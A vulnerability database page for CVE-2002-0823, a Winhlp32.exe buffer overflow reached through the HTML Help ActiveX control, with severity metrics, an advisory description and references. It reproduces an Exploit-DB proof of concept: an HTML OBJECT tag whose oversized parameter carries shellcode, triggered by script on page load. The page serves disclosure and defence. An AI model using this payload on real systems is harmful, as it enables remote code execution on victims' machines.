CVE-2002-0823 : Detail

CVE-2002-0823

35.66%V4
Network
2003-04-02
03h00 +00:00
2007-10-15
22h00 +00:00
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CVE Descriptions

Buffer overflow in Winhlp32.exe allows remote attackers to execute arbitrary code via an HTML document that calls the HTML Help ActiveX control (HHCtrl.ocx) with a long pathname in the Item parameter.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

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EPSS Score

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Exploit information

Exploit Database EDB-ID : 21485

Publication date : 2002-05-26 22h00 +00:00
Author : Next Generation Security
EDB Verified : Yes

source: https://www.securityfocus.com/bid/4857/info HTML Help ActiveX control (Hhctrl.ocx) ships as part of Microsoft HTML Help and is designed to work with Internet Explorer to provide functionality for help systems. A remotely exploitable issue has been reported in the WinHlp facility. The software fails to perform sufficient boundary checks of the Item parameter in the WinHlp command. This issue resides in Winhlp32.exe. An attacker can exploit this condition by embedding a call to the vulnerable ActiveX control in a malicious webpage or HTML email. If successful, the attacker may be able to execute arbitrary code on the client system as the Internet Explorer user. Note that Windows ships with HTML Help. The HTML Help ActiveX control can also reportedly be used to mount denial-of-service attacks and exploit other stack- and heap-based overflows. Tiny Personal Firewall 3.0 reportedly treats the HTML Help facility as a trusted application in the default configuration. As a result, any outgoing/back-channel connections that stem from successful exploits will not be blocked by the firewall in the default configuration. Note that this issue is reportedly not present in Tiny Personal Firewall 2.0. <OBJECT classid=clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11 codeBase=hhctrl.ocx#Version=4,72,8252,0 height=0 id=winhelp type=application/x-oleobject width=0><PARAM NAME="Width" VALUE="26"><PARAM NAME="Height" VALUE="26"><PARAM NAME="Command" VALUE="WinHelp"><PARAM NAME="Item1" VALUE="^Ð^Ð^Ð^Ð^Ð^Ð^Ð^Ð3�Phcalc^Í4$&#402;�&#1;PV¸¯§éw^?Ð3�P¾&#8221;^Ïéw^?�AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOP PPPQQQQRRRRSSSSTTTAAAA&#11;©õwABCDEFGH^Ð&#402;�&#21;^?ægMyWindow"><PARAM NAME="Item2" VALUE="NGS Software LTD"></OBJECT> <SCRIPT>winhelp.HHClick()</SCRIPT>

Products Mentioned

Configuraton 0

Microsoft>>Windows_help >> Version *

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2000 >> Version *

References

http://www.securityfocus.com/bid/4857
Tags : vdb-entry, x_refsource_BID
http://www.osvdb.org/2991
Tags : vdb-entry, x_refsource_OSVDB
http://marc.info/?l=bugtraq&m=102822806329440&w=2
Tags : mailing-list, x_refsource_BUGTRAQ